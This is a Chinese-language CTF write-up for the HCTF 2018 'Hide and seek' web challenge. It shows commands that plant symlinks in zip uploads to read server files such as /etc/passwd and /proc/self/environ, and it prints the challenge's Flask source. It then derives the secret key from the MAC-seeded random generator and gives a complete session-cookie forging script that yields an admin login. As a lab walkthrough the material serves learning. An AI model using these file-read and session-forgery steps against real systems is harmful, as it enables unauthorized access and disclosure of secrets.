知识点:flask-session伪造,文件读取,mac地址查询
解题过程
1. 注册用户并登录
打开容器,提醒我们需要登录 随便输入username和password,直接就算注册了,估计不是数据库。但是要注意,username不能是admin,因为接下来需要伪造admin的session。
2. 文件读取
登录之后,提醒我们需要提交zip压缩文件。随便测试一下,将1.txt进行压缩,提交,回显的是里面的内容 可能是有文件读取,我们可以创建一个软链接 ,将其指向服务器上的文件,看看是否能够读取出来
在linux环境下执行
ln -s /etc/passwd passwd
zip -y passwd.zip passwd
将得到的passwd.zip进行上传,可以正常回显
2.1 读取/proc/self/environ
接着读取/proc/self/environ ,查看当前的环境变量信息
ln -s /proc/self/environ en
zip -y en.zip en
将en.zip 进行提交,回显如下
2.2 读取/app/uwsgi.ini
注意DUWSGI_INI=/app/uwsgi.ini
uWSGI是一个Web服务器,它实现了WSGI协议、uwsgi、http等协议。Nginx中HttpUwsgiModule的作用是与uWSGI服务器进行交换。WSGI是一种Web服务器网关接口。它是一个Web服务器(如nginx,uWSGI等服务器)与web应用(如用Flask框架写的程序)通信的一种规范。
读取/app/uwsgi.ini
ln -s /app/uwsgi.ini us
zip -y us.zip us
将us.zip提交,回显
[uwsgi] module = main callable=app logto = /tmp/hard_t0_guess_n9p2i5a6d1s_uwsgi.log
2.3 读取源码
试一下读取/app/main.py 文件,
ln -s /app/main.py main
zip -y main.zip main
嘶,回显的不是很理想 后来看了大佬的博客,可能是buuoj的环境有点问题, /app/uwsgi.ini 回显中应该是module=/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py ,读取/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py 即可得到源文件
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET'])
def index():
error = request.args.get('error', '')
if(error == '1'):
session.pop('username', None)
return render_template('index.html', forbidden=1)
if 'username' in session:
return render_template('index.html', user=session['username'], flag=flag.flag)
else:
return render_template('index.html')
@app.route('/login', methods=['POST'])
def login():
username=request.form['username']
password=request.form['password']
if request.method == 'POST' and username != '' and password != '':
if(username == 'admin'):
return redirect(url_for('index',error=1))
session['username'] = username
return redirect(url_for('index'))
@app.route('/logout', methods=['GET'])
def logout():
session.pop('username', None)
return redirect(url_for('index'))
@app.route('/upload', methods=['POST'])
def upload_file():
if 'the_file' not in request.files:
return redirect(url_for('index'))
file = request.files['the_file']
if file.filename == '':
return redirect(url_for('index'))
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a zipfile'
try:
extract_path = file_save_path + '_'
os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
read_obj = os.popen('cat ' + extract_path + '/*')
file = read_obj.read()
read_obj.close()
os.system('rm -rf ' + extract_path)
except Exception as e:
file = None
os.remove(file_save_path)
if(file != None):
if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
return redirect(url_for('index', error=1))
return Response(file)
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=True, port=10008)
3. 伪随机数种子
有了源码,就需要根据源码伪造admin的session,而session构造需要SECRET_KEY ,看源码,SECRET_KEY 等于一个随机数,但是这个随机数是通过设置随机数种子 生成的。之前做的一个伪随机数 的题,知道只要种子一样,后面生成的随机数是一样的。
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
所以看一下生成伪随机数种子 的函数uuid.getnode()
3.1 关于uuid.getnode()
源链接:Python——uuid
3.2 mac地址
所以想得到种子,就需要容器的mac地址 根据前面我们知道的文件读取功能,尝试读取/sys/class/net/eth0/address 来得到mac地址
ln -s /sys/class/net/eth0/address mac
zip -y mac.zip mac
提交mac.zip,得到02:42:ac:10:9e:a1
3.3 由mac地址得到伪随机数种子
import uuid
import random
mac = "02:42:ac:10:9e:a1"
temp = mac.split(':')
temp = [int(i,16) for i in temp]
temp = [bin(i).replace('0b','').zfill(8) for i in temp]
temp = ''.join(temp)
mac = int(temp,2)
print(mac)
random.seed(mac)
print(random.random()*100)
---------- python3.8 ----------
2485377867425
23.369338877463953
输出完成 (耗时 0 秒) - 正常终止
4. 使用脚本伪造admin的session
flask_session_manager.py
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
import sys
import zlib
from itsdangerous import base64_decode
import ast
if sys.version_info[0] < 3:
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4:
from abc import ABCMeta, abstractmethod
else:
from abc import ABC, abstractmethod
import argparse
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
if sys.version_info[0] == 3 and sys.version_info[1] < 4:
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else:
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
if __name__ == "__main__":
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
help='Session cookie value', required=True)
args = parser.parse_args()
if(args.subcommand == 'encode'):
if(args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif(args.subcommand == 'decode'):
if(args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value,args.secret_key))
elif(args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))
在python3的环境下执行
python flask_session_manager.py encode -s '23.369338877463953' -t "{'username':'admin'}"
抓包将伪造的session替换,即可得到flag 回显
参考链接
- BUUCTF:[HCTF 2018]Hide and seek
- Python——uuid
- 记[HCTF 2018]Hideandseek
|